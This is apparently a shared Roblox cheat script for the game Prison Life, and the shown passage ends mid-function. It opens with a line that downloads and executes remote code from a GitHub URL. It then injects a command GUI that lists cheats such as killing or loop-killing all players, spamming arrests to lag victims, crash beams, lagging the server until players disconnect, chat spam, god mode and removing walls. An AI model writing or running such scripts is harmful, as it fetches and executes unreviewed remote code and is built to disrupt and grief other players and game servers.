Gillranveer12

Prison Life Script (ONLY FOR PRISON LIFE)

Jan 1st, 2023
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  1. -- Prison Life OP GUI & 2 OP admin commands
  2. -- (Be aware that this is only for ROBLOX not for any other game than Prison Life)
  3. loadstring(game:HttpGet(('https://raw.githubusercontent.com/XTheMasterX/Scripts/Main/PrisonLife'),true))()
  4.  
  5. local CmdGui = Instance.new("ScreenGui")
  6. local Background = Instance.new("Frame")
  7. local CmdName = Instance.new("TextLabel")
  8. local FindCmd = Instance.new("TextBox")
  9. local CmdHandler = Instance.new("ScrollingFrame")
  10. local CmdText = Instance.new("TextButton")
  11. local UIListLayout = Instance.new("UIListLayout")
  12. local Background2 = Instance.new("Frame")
  13. local Label = Instance.new("TextLabel")
  14. local Execute = Instance.new("TextBox")
  15. local Minimum = Instance.new("TextButton")
  16. local Close = Instance.new("TextButton")
  17. local Background3 = Instance.new("Frame")
  18. local Topbar = Instance.new("TextLabel")
  19. local CmdTitle = Instance.new("TextLabel")
  20. local Background4 = Instance.new("Frame")
  21. local Notify6 = Instance.new("TextLabel")
  22. local Notify5 = Instance.new("TextLabel")
  23. local Notify4 = Instance.new("TextLabel")
  24. local Notify3 = Instance.new("TextLabel")
  25. local Notify2 = Instance.new("TextLabel")
  26. local Notify1 = Instance.new("TextLabel")
  27. local CloseBar = Instance.new("TextButton")
  28. local TransparencyBar = Instance.new("TextButton")
  29. local Prefix = ";"
  30.  
  31. CmdGui.Name = "CmdGui"
  32. CmdGui.Parent = game:GetService("CoreGui")
  33. CmdGui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling
  34.  
  35. Background.Name = "Background"
  36. Background.Parent = CmdGui
  37. Background.BackgroundColor3 = Color3.fromRGB(25, 25, 25)
  38. Background.BorderSizePixel = 0
  39. Background.Position = UDim2.new(0.368556708, 0, 0.11490047, 0)
  40. Background.Size = UDim2.new(0, 350, 0, 350)
  41. Background.Active = true
  42. Background.Draggable = true
  43.  
  44. CmdName.Name = "CmdName"
  45. CmdName.Parent = Background
  46. CmdName.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
  47. CmdName.BorderSizePixel = 0
  48. CmdName.Size = UDim2.new(0, 350, 0, 25)
  49. CmdName.Font = Enum.Font.GothamBlack
  50. CmdName.Text = "Commands"
  51. CmdName.TextColor3 = Color3.fromRGB(255, 255, 255)
  52. CmdName.TextScaled = true
  53. CmdName.TextSize = 14.000
  54. CmdName.TextWrapped = true
  55.  
  56. FindCmd.Name = "FindCmd"
  57. FindCmd.Parent = Background
  58. FindCmd.BackgroundColor3 = Color3.fromRGB(50, 50, 50)
  59. FindCmd.BorderColor3 = Color3.fromRGB(0, 255, 0)
  60. FindCmd.BorderSizePixel = 0
  61. FindCmd.Position = UDim2.new(0.0714285746, 0, 0.0702347234, 0)
  62. FindCmd.Size = UDim2.new(0, 300, 0, 20)
  63. FindCmd.Font = Enum.Font.SourceSans
  64. FindCmd.PlaceholderColor3 = Color3.fromRGB(255, 255, 255)
  65. FindCmd.PlaceholderText = "Search For Command"
  66. FindCmd.Text = ""
  67. FindCmd.TextColor3 = Color3.fromRGB(255, 255, 255)
  68. FindCmd.TextSize = 14.000
  69. FindCmd.TextWrapped = true
  70.  
  71. CmdHandler.Name = "CmdHandler"
  72. CmdHandler.Parent = Background
  73. CmdHandler.Active = true
  74. CmdHandler.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  75. CmdHandler.BackgroundTransparency = 1.000
  76. CmdHandler.BorderSizePixel = 0
  77. CmdHandler.AutomaticCanvasSize = "Y"
  78. CmdHandler.Position = UDim2.new(0.0714285746, 0, 0.142857149, 0)
  79. CmdHandler.Size = UDim2.new(0, 300, 0, 290)
  80. CmdHandler.ScrollBarThickness = 2
  81.  
  82. CmdText.Name = "CmdText"
  83. CmdText.Parent = nil
  84. CmdText.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  85. CmdText.BackgroundTransparency = 1.000
  86. CmdText.BorderSizePixel = 0
  87. CmdText.Size = UDim2.new(0, 300, 0, 25)
  88. CmdText.Font = Enum.Font.SourceSans
  89. CmdText.Text = "Text"
  90. CmdText.TextColor3 = Color3.fromRGB(255, 255, 255)
  91. CmdText.TextScaled = true
  92. CmdText.TextSize = 14.000
  93. CmdText.TextWrapped = true
  94.  
  95. UIListLayout.Parent = CmdHandler
  96. UIListLayout.SortOrder = Enum.SortOrder.LayoutOrder
  97.  
  98. Minimum.Name = "Minimum"
  99. Minimum.Parent = Background
  100. Minimum.BackgroundColor3 = Color3.fromRGB(0, 155, 155)
  101. Minimum.BorderSizePixel = 0
  102. Minimum.Position = UDim2.new(0.842857122, 0, 0.00571428565, 0)
  103. Minimum.Size = UDim2.new(0, 20, 0, 20)
  104. Minimum.Font = Enum.Font.SourceSans
  105. Minimum.Text = ""
  106. Minimum.TextColor3 = Color3.fromRGB(255, 255, 255)
  107. Minimum.TextSize = 14.000
  108. Minimum.MouseButton1Click:Connect(function()
  109. if Background.BackgroundTransparency == 0 then
  110. Background.BackgroundTransparency = 1
  111. Background.Size = UDim2.new(0, 350, 0, 25)
  112. FindCmd.Visible = false
  113. CmdHandler.Visible = false
  114. elseif Background.BackgroundTransparency == 1 then
  115. Background.BackgroundTransparency = 0
  116. Background.Size = UDim2.new(0, 350, 0, 350)
  117. FindCmd.Visible = true
  118. CmdHandler.Visible = true
  119. end
  120. end)
  121.  
  122. Close.Name = "Close"
  123. Close.Parent = Background
  124. Close.BackgroundColor3 = Color3.fromRGB(155, 0, 0)
  125. Close.BorderSizePixel = 0
  126. Close.Position = UDim2.new(0.928571403, 0, 0.00571428565, 0)
  127. Close.Size = UDim2.new(0, 20, 0, 20)
  128. Close.Font = Enum.Font.SourceSans
  129. Close.Text = ""
  130. Close.TextColor3 = Color3.fromRGB(255, 255, 255)
  131. Close.TextSize = 14.000
  132. Close.MouseButton1Click:Connect(function()
  133. Background.Visible = false
  134. end)
  135.  
  136. -- New
  137.  
  138. Background2.Name = "Background"
  139. Background2.Parent = CmdGui
  140. Background2.BackgroundColor3 = Color3.fromRGB(25, 25, 25)
  141. Background2.BorderSizePixel = 0
  142. Background2.Position = UDim2.new(0.012, 0, 0.807, 0)
  143. Background2.Size = UDim2.new(0, 250, 0, 80)
  144. Background2.Active = true
  145. Background2.Draggable = true
  146.  
  147. Label.Name = "Label"
  148. Label.Parent = Background2
  149. Label.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
  150. Label.BorderSizePixel = 0
  151. Label.Position = UDim2.new(0, 0, 0, 0)
  152. Label.Size = UDim2.new(0, 250, 0, 25)
  153. Label.Font = Enum.Font.GothamBlack
  154. Label.Text = "Execute Bar"
  155. Label.TextColor3 = Color3.fromRGB(255, 255, 255)
  156. Label.TextScaled = true
  157. Label.TextSize = 14.000
  158. Label.TextWrapped = true
  159.  
  160. Execute.Name = "Execute"
  161. Execute.Parent = Background2
  162. Execute.BackgroundColor3 = Color3.fromRGB(50, 50, 50)
  163. Execute.BorderColor3 = Color3.fromRGB(0, 255, 0)
  164. Execute.Position = UDim2.new(0.097, 0, 0.436, 0)
  165. Execute.Size = UDim2.new(0, 200, 0, 30)
  166. Execute.Font = Enum.Font.SourceSans
  167. Execute.PlaceholderColor3 = Color3.fromRGB(255, 255, 255)
  168. Execute.PlaceholderText = "Press "..Prefix.." To Enter"
  169. Execute.Text = ""
  170. Execute.TextColor3 = Color3.fromRGB(255, 255, 255)
  171. Execute.TextSize = 16.000
  172. Execute.TextWrapped = true
  173.  
  174. Background3.Name = "Background3"
  175. Background3.Parent = CmdGui
  176. Background3.BackgroundColor3 = Color3.fromRGB(50, 50, 50)
  177. Background3.BorderSizePixel = 0
  178. Background3.Position = UDim2.new(0.306701034, 0, 0.288421065, 0)
  179. Background3.Size = UDim2.new(0, 200, 0, 100)
  180. Background3.Active = true
  181. Background3.Visible = false
  182.  
  183. Topbar.Name = "Topbar"
  184. Topbar.Parent = Background3
  185. Topbar.BackgroundColor3 = Color3.fromRGB(25, 25, 25)
  186. Topbar.BorderSizePixel = 0
  187. Topbar.Size = UDim2.new(0, 200, 0, 25)
  188. Topbar.Font = Enum.Font.GothamBlack
  189. Topbar.Text = ""
  190. Topbar.TextColor3 = Color3.fromRGB(255, 255, 255)
  191. Topbar.TextScaled = true
  192. Topbar.TextSize = 14.000
  193. Topbar.TextWrapped = true
  194.  
  195. CmdTitle.Name = "CmdTitle"
  196. CmdTitle.Parent = Background3
  197. CmdTitle.BackgroundColor3 = Color3.fromRGB(25, 25, 25)
  198. CmdTitle.BackgroundTransparency = 1.000
  199. CmdTitle.BorderSizePixel = 0
  200. CmdTitle.Position = UDim2.new(0.0500000007, 0, 0.379999995, 0)
  201. CmdTitle.Size = UDim2.new(0, 180, 0, 40)
  202. CmdTitle.Font = Enum.Font.GothamBlack
  203. CmdTitle.Text = ""
  204. CmdTitle.TextColor3 = Color3.fromRGB(255, 255, 255)
  205. CmdTitle.TextSize = 14.000
  206. CmdTitle.TextWrapped = true
  207.  
  208. Background4.Name = "Background4"
  209. Background4.Parent = CmdGui
  210. Background4.BackgroundColor3 = Color3.fromRGB(25, 25, 25)
  211. Background4.BorderSizePixel = 0
  212. Background4.Position = UDim2.new(0.0154639352, 0, 0.519107938, 0)
  213. Background4.Size = UDim2.new(0, 250, 0, 119)
  214. Background4.Active = true
  215. Background4.Draggable = true
  216.  
  217. Notify6.Name = "Notify6"
  218. Notify6.Parent = Background4
  219. Notify6.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
  220. Notify6.BackgroundTransparency = 1.000
  221. Notify6.BorderSizePixel = 0
  222. Notify6.Position = UDim2.new(0, 0, -0.00512820482, 0)
  223. Notify6.Size = UDim2.new(0, 250, 0, 20)
  224. Notify6.Font = Enum.Font.GothamBlack
  225. Notify6.Text = ""
  226. Notify6.TextColor3 = Color3.fromRGB(255, 255, 255)
  227. Notify6.TextScaled = true
  228. Notify6.TextSize = 14.000
  229. Notify6.TextWrapped = true
  230.  
  231. Notify5.Name = "Notify5"
  232. Notify5.Parent = Background4
  233. Notify5.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
  234. Notify5.BackgroundTransparency = 1.000
  235. Notify5.BorderSizePixel = 0
  236. Notify5.Position = UDim2.new(0, 0, 0.162939027, 0)
  237. Notify5.Size = UDim2.new(0, 250, 0, 20)
  238. Notify5.Font = Enum.Font.GothamBlack
  239. Notify5.Text = ""
  240. Notify5.TextColor3 = Color3.fromRGB(255, 255, 255)
  241. Notify5.TextScaled = true
  242. Notify5.TextSize = 14.000
  243. Notify5.TextWrapped = true
  244.  
  245. Notify4.Name = "Notify4"
  246. Notify4.Parent = Background4
  247. Notify4.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
  248. Notify4.BackgroundTransparency = 1.000
  249. Notify4.BorderSizePixel = 0
  250. Notify4.Position = UDim2.new(0, 0, 0.331006259, 0)
  251. Notify4.Size = UDim2.new(0, 250, 0, 20)
  252. Notify4.Font = Enum.Font.GothamBlack
  253. Notify4.Text = ""
  254. Notify4.TextColor3 = Color3.fromRGB(255, 255, 255)
  255. Notify4.TextScaled = true
  256. Notify4.TextSize = 14.000
  257. Notify4.TextWrapped = true
  258.  
  259. Notify3.Name = "Notify3"
  260. Notify3.Parent = Background4
  261. Notify3.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
  262. Notify3.BackgroundTransparency = 1.000
  263. Notify3.BorderSizePixel = 0
  264. Notify3.Position = UDim2.new(0, 0, 0.499073505, 0)
  265. Notify3.Size = UDim2.new(0, 250, 0, 20)
  266. Notify3.Font = Enum.Font.GothamBlack
  267. Notify3.Text = ""
  268. Notify3.TextColor3 = Color3.fromRGB(255, 255, 255)
  269. Notify3.TextScaled = true
  270. Notify3.TextSize = 14.000
  271. Notify3.TextWrapped = true
  272.  
  273. Notify2.Name = "Notify2"
  274. Notify2.Parent = Background4
  275. Notify2.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
  276. Notify2.BackgroundTransparency = 1.000
  277. Notify2.BorderSizePixel = 0
  278. Notify2.Position = UDim2.new(0, 0, 0.667140722, 0)
  279. Notify2.Size = UDim2.new(0, 250, 0, 20)
  280. Notify2.Font = Enum.Font.GothamBlack
  281. Notify2.Text = ""
  282. Notify2.TextColor3 = Color3.fromRGB(255, 255, 255)
  283. Notify2.TextScaled = true
  284. Notify2.TextSize = 14.000
  285. Notify2.TextWrapped = true
  286.  
  287. Notify1.Name = "Notify1"
  288. Notify1.Parent = Background4
  289. Notify1.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
  290. Notify1.BackgroundTransparency = 1.000
  291. Notify1.BorderSizePixel = 0
  292. Notify1.Position = UDim2.new(0, 0, 0.835207999, 0)
  293. Notify1.Size = UDim2.new(0, 250, 0, 20)
  294. Notify1.Font = Enum.Font.GothamBlack
  295. Notify1.Text = ""
  296. Notify1.TextColor3 = Color3.fromRGB(255, 255, 255)
  297. Notify1.TextScaled = true
  298. Notify1.TextSize = 14.000
  299. Notify1.TextWrapped = true
  300.  
  301. CloseBar.Name = "CloseBar"
  302. CloseBar.Parent = Background4
  303. CloseBar.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
  304. CloseBar.BorderSizePixel = 0
  305. CloseBar.Position = UDim2.new(0.899999976, 0, -0.210084036, 0)
  306. CloseBar.Size = UDim2.new(0, 25, 0, 25)
  307. CloseBar.Font = Enum.Font.GothamBlack
  308. CloseBar.Text = "X"
  309. CloseBar.TextColor3 = Color3.fromRGB(255, 255, 255)
  310. CloseBar.TextScaled = true
  311. CloseBar.TextSize = 14.000
  312. CloseBar.TextWrapped = true
  313. CloseBar.MouseButton1Click:Connect(function()
  314. Background4.Visible = false
  315. end)
  316.  
  317. TransparencyBar.Name = "TransparencyBar"
  318. TransparencyBar.Parent = Background4
  319. TransparencyBar.BackgroundColor3 = Color3.fromRGB(0, 255, 255)
  320. TransparencyBar.BorderSizePixel = 0
  321. TransparencyBar.Position = UDim2.new(0.799999952, 0, -0.210084036, 0)
  322. TransparencyBar.Size = UDim2.new(0, 25, 0, 25)
  323. TransparencyBar.Font = Enum.Font.GothamBlack
  324. TransparencyBar.Text = "="
  325. TransparencyBar.TextColor3 = Color3.fromRGB(255, 255, 255)
  326. TransparencyBar.TextScaled = true
  327. TransparencyBar.TextSize = 14.000
  328. TransparencyBar.TextWrapped = true
  329. TransparencyBar.MouseButton1Click:Connect(function()
  330. if TransparencyBar.Text == "=" then
  331. Background4.BackgroundTransparency = 0.750
  332. CloseBar.BackgroundTransparency = 0.750
  333. TransparencyBar.BackgroundTransparency = 0.750
  334. TransparencyBar.Text = "+"
  335. else
  336. Background4.BackgroundTransparency = 0.000
  337. CloseBar.BackgroundTransparency = 0.000
  338. TransparencyBar.BackgroundTransparency = 0.000
  339. TransparencyBar.Text = "="
  340. end
  341. end)
  342.  
  343. local Versions = "5.0"
  344. local Cmd = {}
  345.  
  346. Cmd[#Cmd + 1] = {Text = "versions "..Versions,Title = "Script versions"}
  347. Cmd[#Cmd + 1] = {Text = "script by LocalPlayer#7434",Title = "Script owner"}
  348. Cmd[#Cmd + 1] = {Text = "cmd / cmds",Title = "Show commands bar"}
  349. Cmd[#Cmd + 1] = {Text = "rejoin / rj",Title = "Rejoin the game"}
  350. Cmd[#Cmd + 1] = {Text = "leave / leaveserver / quit",Title = "Leave the server"}
  351. Cmd[#Cmd + 1] = {Text = "admin / giveadmin [plr]",Title = "Give a commands to player"}
  352. Cmd[#Cmd + 1] = {Text = "unadmin / removeadmin [plr]",Title = "Remove a commands from player"}
  353. Cmd[#Cmd + 1] = {Text = "kill [plr]",Title = "Kill the player"}
  354. Cmd[#Cmd + 1] = {Text = "killall",Title = "Kill all players"}
  355. Cmd[#Cmd + 1] = {Text = "killguard / killsguard",Title = "Kill all guards"}
  356. Cmd[#Cmd + 1] = {Text = "killinmate / killsinmate",Title = "Kill all inmates"}
  357. Cmd[#Cmd + 1] = {Text = "killcriminal / killscriminal",Title = "Kill all criminals"}
  358. Cmd[#Cmd + 1] = {Text = "tase [plr]",Title = "Tase the player"}
  359. Cmd[#Cmd + 1] = {Text = "loopkill / loopkills [plr]",Title = "Loop kills player"}
  360. Cmd[#Cmd + 1] = {Text = "unloopkill / unloopkills [plr]",Title = "Unloop kills player"}
  361. Cmd[#Cmd + 1] = {Text = "loopkillall / loopkillsall",Title = "Loop kills all players"}
  362. Cmd[#Cmd + 1] = {Text = "loopkillguard / loopkillsguard",Title = "Loop kills all guards"}
  363. Cmd[#Cmd + 1] = {Text = "loopkillinmate / loopkillinmates",Title = "Loop kills all inmates"}
  364. Cmd[#Cmd + 1] = {Text = "loopkillcriminal / loopkillcriminals",Title = "Loop kills all criminals"}
  365. Cmd[#Cmd + 1] = {Text = "unloopkillall / unloopkillsall",Title = "Unloop kills all players"}
  366. Cmd[#Cmd + 1] = {Text = "unloopkillguard / unloopkillsguard",Title = "Unloop kills all guards"}
  367. Cmd[#Cmd + 1] = {Text = "unloopkillinmate / unloopkillinmates",Title = "Unloop kills all inmates"}
  368. Cmd[#Cmd + 1] = {Text = "unloopkillcriminal / unloopkillcriminals",Title = "Unloop kills all criminals"}
  369. Cmd[#Cmd + 1] = {Text = "inmate / inmates / prisoner / prisoners",Title = "Become inmate team"}
  370. Cmd[#Cmd + 1] = {Text = "guard / guards / cop / polices",Title = "Become guard team"}
  371. Cmd[#Cmd + 1] = {Text = "crim / criminals / criminal",Title = "Become criminal team"}
  372. Cmd[#Cmd + 1] = {Text = "neutral / neutrals",Title = "Become neutral team"}
  373. Cmd[#Cmd + 1] = {Text = "re / refresh",Title = "Respawn on old position"}
  374. Cmd[#Cmd + 1] = {Text = "res / respawn",Title = "Respawn on respawn pads"}
  375. Cmd[#Cmd + 1] = {Text = "goto / to [plr]",Title = "Teleports to the player"}
  376. Cmd[#Cmd + 1] = {Text = "bring [plr]",Title = "Teleports player to you"}
  377. Cmd[#Cmd + 1] = {Text = "tp / teleport [plr] [plr2]",Title = "Teleports player to another player"}
  378. Cmd[#Cmd + 1] = {Text = "arrest [plr] [time]",Title = "Arrest player that is a criminal"}
  379. Cmd[#Cmd + 1] = {Text = "arrestall / arrestothers",Title = "Arrest all criminals"}
  380. Cmd[#Cmd + 1] = {Text = "spamarrest / looparrest [plr]",Title = "Spam arrest player & lag player and server"}
  381. Cmd[#Cmd + 1] = {Text = "unspamarrest / unlooparrest [plr]",Title = "Stop spam arrest player"}
  382. Cmd[#Cmd + 1] = {Text = "clearloopkill / clearloopkills",Title = "clear all loop kills table"}
  383. Cmd[#Cmd + 1] = {Text = "auto / autore / autorefresh",Title = "Auto respawn on old position when died"}
  384. Cmd[#Cmd + 1] = {Text = "unauto / unautore / unautorefresh",Title = "Stop auto respawn on old position when died"}
  385. Cmd[#Cmd + 1] = {Text = "killaura",Title = "Activate kill aura"}
  386. Cmd[#Cmd + 1] = {Text = "nokillaura / unkillaura",Title = "Unactivate kill aura"}
  387. Cmd[#Cmd + 1] = {Text = "antifling",Title = "Activate anti fling"}
  388. Cmd[#Cmd + 1] = {Text = "unantifling",Title = "Unactivate anti fling"}
  389. Cmd[#Cmd + 1] = {Text = "god",Title = "Become a god mode"}
  390. Cmd[#Cmd + 1] = {Text = "ungod",Title = "Unbecome a god mode"}
  391. Cmd[#Cmd + 1] = {Text = "view / spectate / watch [plr]",Title = "Spectates the player"}
  392. Cmd[#Cmd + 1] = {Text = "unview / unspectate / stopwatch",Title = "Unspectates the player"}
  393. Cmd[#Cmd + 1] = {Text = "fastpunch / speedpunchh",Title = "Activate fast punch"}
  394. Cmd[#Cmd + 1] = {Text = "slowpunch / nofastpunch / normalspeedpunch",Title = "unactivate fast punch"}
  395. Cmd[#Cmd + 1] = {Text = "superpunch / onepunch",Title = "Activate super punch"}
  396. Cmd[#Cmd + 1] = {Text = "nosuperpunch / normalpunch",Title = "Unactivate super punch"}
  397. Cmd[#Cmd + 1] = {Text = "prefix / newprefix / changeprefix [prefix text]",Title = "Changes prefix"}
  398. Cmd[#Cmd + 1] = {Text = "red",Title = "Changes name tag color to red color"}
  399. Cmd[#Cmd + 1] = {Text = "antilag / boostfps",Title = "Boost a little fps"}
  400. Cmd[#Cmd + 1] = {Text = "unantilag",Title = "Stop boost the fps"}
  401. Cmd[#Cmd + 1] = {Text = "noclip / noclips",Title = "Activate no clips"}
  402. Cmd[#Cmd + 1] = {Text = "clip / clips",Title = "Unactivate no clips"}
  403. Cmd[#Cmd + 1] = {Text = "orange",Title = "Changes name tag color to orange color"}
  404. Cmd[#Cmd + 1] = {Text = "blue",Title = "Changes name tag color to blue color"}
  405. Cmd[#Cmd + 1] = {Text = "black",Title = "Changes name tag color to black color"}
  406. Cmd[#Cmd + 1] = {Text = "purple",Title = "Changes name tag color to purple color"}
  407. Cmd[#Cmd + 1] = {Text = "brown",Title = "Changes name tag color to brown color"}
  408. Cmd[#Cmd + 1] = {Text = "white",Title = "Changes name tag color to white color"}
  409. Cmd[#Cmd + 1] = {Text = "pink",Title = "Changes name tag color to pink color"}
  410. Cmd[#Cmd + 1] = {Text = "grey",Title = "Changes name tag color to grey color"}
  411. Cmd[#Cmd + 1] = {Text = "green",Title = "Changes name tag color to green color"}
  412. Cmd[#Cmd + 1] = {Text = "yellow",Title = "Changes name tag color to yellow color"}
  413. Cmd[#Cmd + 1] = {Text = "getpos",Title = "Prints positions"}
  414. Cmd[#Cmd + 1] = {Text = "unload / destroygui",Title = "Unload the scripts"}
  415. Cmd[#Cmd + 1] = {Text = "reload / update",Title = "Reload the script to new version"}
  416. Cmd[#Cmd + 1] = {Text = "How to open console?",Title = "To open console chat /console or press F9 or Fn + F9"}
  417. Cmd[#Cmd + 1] = {Text = "lagserver / disconnect",Title = "Lag server and disconnect after 5 minutes of lagging"}
  418. Cmd[#Cmd + 1] = {Text = "unlagserver / undisconnect",Title = "Stop lag server"}
  419. Cmd[#Cmd + 1] = {Text = "speed / setspeed / walkspeed [count]",Title = "Changes walk speeds"}
  420. Cmd[#Cmd + 1] = {Text = "jumppower / setjumppower [count]",Title = "Changes jump powers"}
  421. Cmd[#Cmd + 1] = {Text = "hipheight / sethipheight [count]",Title = "Changes hip heights"}
  422. Cmd[#Cmd + 1] = {Text = "gravity / setgravity [count]",Title = "Changes gravity"}
  423. Cmd[#Cmd + 1] = {Text = "resetspeed / resetwalkspeed",Title = "Reset walk speeds"}
  424. Cmd[#Cmd + 1] = {Text = "resetjumppower / rejumppower",Title = "Reset jump powers"}
  425. Cmd[#Cmd + 1] = {Text = "resethipheight / rehipheight",Title = "Reset hip heights"}
  426. Cmd[#Cmd + 1] = {Text = "resetgravity / regravity",Title = "Reset gravity"}
  427. Cmd[#Cmd + 1] = {Text = "makecrim [plr]",Title = "Make the player become a criminal"}
  428. Cmd[#Cmd + 1] = {Text = "makecrimall",Title = "Make all players become a criminals"}
  429. Cmd[#Cmd + 1] = {Text = "loopbring [plr]",Title = "Loop bring player"}
  430. Cmd[#Cmd + 1] = {Text = "unloopbring ",Title = "Unloop bring player"}
  431. Cmd[#Cmd + 1] = {Text = "baseballbat / bat",Title = "Gets bat"}
  432. Cmd[#Cmd + 1] = {Text = "superknife",Title = "Gets super knife"}
  433. Cmd[#Cmd + 1] = {Text = "firespeed / setfirespeed [count]",Title = "Changes fire speed for the gun"}
  434. Cmd[#Cmd + 1] = {Text = "autofire",Title = "Changes gun ststes to auto fire"}
  435. Cmd[#Cmd + 1] = {Text = "semifire",Title = "Changes gun ststes to semi fire"}
  436. Cmd[#Cmd + 1] = {Text = "burst / burstbullets / bullets [count]",Title = "Changes a bullets for the gun will come out when shot"}
  437. Cmd[#Cmd + 1] = {Text = "reloadtime / reloadtimes [count]",Title = "Changes reload times for the gun"}
  438. Cmd[#Cmd + 1] = {Text = "gun / guns / allguns",Title = "Obtains all guns"}
  439. Cmd[#Cmd + 1] = {Text = "autogun / autoguns / autoallguns",Title = "Activate auto gun when respawned"}
  440. Cmd[#Cmd + 1] = {Text = "unautogun / unautoguns / unautoallguns",Title = "Unactivate auto gun when respawned"}
  441. Cmd[#Cmd + 1] = {Text = "taserbypass / antitaser / lock",Title = "Bypass taser when got tased"}
  442. Cmd[#Cmd + 1] = {Text = "untaserbypass / notaserbypass / unlock",Title = "Unbypass taser when got tased"}
  443. Cmd[#Cmd + 1] = {Text = "nodoors / deletedoors",Title = "Deletes all doors"}
  444. Cmd[#Cmd + 1] = {Text = "restoredoors / doors",Title = "Restores all doors"}
  445. Cmd[#Cmd + 1] = {Text = "nowalls / deletewalls - delete walls",Title = "Deletes all walls"}
  446. Cmd[#Cmd + 1] = {Text = "walls / restorewalls - restore walls",Title = "Restore all walls"}
  447. Cmd[#Cmd + 1] = {Text = "anticrash / antivest",Title = "Anti crash when someone spamming armor"}
  448. Cmd[#Cmd + 1] = {Text = "unanticrash / unantivest",Title = "Unanti crash when someone spamming armor"}
  449. Cmd[#Cmd + 1] = {Text = "antishield / noshield",Title = "Anti shield users"}
  450. Cmd[#Cmd + 1] = {Text = "unantishield",Title = "Unanti shield users"}
  451. Cmd[#Cmd + 1] = {Text = "gatetower",Title = "Teleports to the gate tower"}
  452. Cmd[#Cmd + 1] = {Text = "tower",Title = "Teleports to the yard tower"}
  453. Cmd[#Cmd + 1] = {Text = "sewer",Title = "Teleports to the sewer"}
  454. Cmd[#Cmd + 1] = {Text = "yard",Title = "Teleports to yard"}
  455. Cmd[#Cmd + 1] = {Text = "backnexus",Title = "Teleports to the back nexus"}
  456. Cmd[#Cmd + 1] = {Text = "nexus",Title = "Teleports to the nexus"}
  457. Cmd[#Cmd + 1] = {Text = "gate",Title = "Teleports to the gate"}
  458. Cmd[#Cmd + 1] = {Text = "findowner / checkscriptowner",Title = "Find a script owner in the server"}
  459. Cmd[#Cmd + 1] = {Text = "getplayer / getplayers",Title = "Get a players counts in the server"}
  460. Cmd[#Cmd + 1] = {Text = "rapidfire",Title = "Activate rapid fire"}
  461. Cmd[#Cmd + 1] = {Text = "autorapidfire",Title = "Auto activate rapid fire"}
  462. Cmd[#Cmd + 1] = {Text = "unautorapidfire",Title = "Unauto activate rapid fire"}
  463. Cmd[#Cmd + 1] = {Text = "armory",Title = "Teleports to the armory"}
  464. Cmd[#Cmd + 1] = {Text = "cafe - teleport to cafe",Title = "Teleports to the cafeteria"}
  465. Cmd[#Cmd + 1] = {Text = "crimbase / criminalbase",Title = "Teleports to the criminals base"}
  466. Cmd[#Cmd + 1] = {Text = "lunchroom",Title = "Teleports to the cafeteria room"}
  467. Cmd[#Cmd + 1] = {Text = "spamchat [delay]",Title = "Spam the chat"}
  468. Cmd[#Cmd + 1] = {Text = "unspamchat",Title = "Unspam the chat"}
  469. Cmd[#Cmd + 1] = {Text = "savepos / saveposition",Title = "Saves positions"}
  470. Cmd[#Cmd + 1] = {Text = "loadpos / loadposition",Title = "Loads positions"}
  471. Cmd[#Cmd + 1] = {Text = "notify",Title = "Send a message when player leave / join"}
  472. Cmd[#Cmd + 1] = {Text = "nonotify",Title = "Stop send a message when player leave / join"}
  473. Cmd[#Cmd + 1] = {Text = "copychat",Title = "Copies all players chats"}
  474. Cmd[#Cmd + 1] = {Text = "uncopychat",Title = "uncopies all players chats"}
  475. Cmd[#Cmd + 1] = {Text = "chatnotify",Title = "Chats when player leave / join"}
  476. Cmd[#Cmd + 1] = {Text = "unchatnotify / nochatnotify",Title = "Stop chat when player leave / join"}
  477. Cmd[#Cmd + 1] = {Text = "opengate",Title = "Open the gate"}
  478. Cmd[#Cmd + 1] = {Text = "antifell / antivoid",Title = "Activate anti fell to the void when respawn as custom team"}
  479. Cmd[#Cmd + 1] = {Text = "unantifell / unantivoid",Title = "Unactivate anti fell to the void when respawn as custom team"}
  480. Cmd[#Cmd + 1] = {Text = "beam [plr]",Title = "Shoot a beam to player"}
  481. Cmd[#Cmd + 1] = {Text = "lagbeam / beam2 [plr]",Title = "Shoot a beam to player but lag"}
  482. Cmd[#Cmd + 1] = {Text = "crash / beam3 [plr]",Title = "Shoot a beam to player but even more lag"}
  483. Cmd[#Cmd + 1] = {Text = "antispamarrest",Title = "Activate anti spam arrest"}
  484. Cmd[#Cmd + 1] = {Text = "unantispamarrest",Title = "Unactivate anti spam arrest"}
  485. Cmd[#Cmd + 1] = {Text = "!getprefix",Title = "If you for get prefix you can type this in chat"}
  486.  
  487. local Mouse = game.Players.LocalPlayer:GetMouse()
  488.  
  489. for i = 1,#Cmd do
  490. local clone = CmdText:Clone()
  491. clone.Text = Cmd[i].Text
  492. clone.Name = "COMMANDS"
  493. local Ins = Instance.new("StringValue", clone)
  494. Ins.Name = "Title"
  495. Ins.Value = Cmd[i].Title
  496. local Ins2 = Instance.new("StringValue", clone)
  497. Ins2.Name = "TopbarName"
  498. Ins2.Value = Cmd[i].Text:split(" ")[1]
  499. clone.Parent = CmdHandler
  500. clone.MouseButton1Click:Connect(function()
  501. Execute:CaptureFocus()
  502. Execute.Text = clone.Text:split(" ")[1]
  503. Execute.CursorPosition = #Execute.Text + 1
  504. end)
  505. end
  506.  
  507. Mouse.Move:Connect(function()
  508. local Guis = game:GetService("CoreGui"):GetGuiObjectsAtPosition(Mouse.X, Mouse.Y)
  509. local Gui
  510. for i,v in pairs(Guis) do
  511. if v.Parent == CmdHandler then
  512. Gui = v
  513. end
  514. end
  515. if Gui ~= nil then
  516. local PositionX
  517. local PositionY
  518. local X = Mouse.X
  519. local Y = Mouse.Y
  520. if Mouse.X > 200 then
  521. PositionX = Mouse.X - 201
  522. else
  523. PositionX = Mouse.X + 21
  524. end
  525. if Mouse.Y > (Mouse.ViewSizeY-96) then
  526. PositionY = Mouse.Y - 97
  527. else
  528. PositionY = Mouse.Y
  529. end
  530. Background3.Visible = true
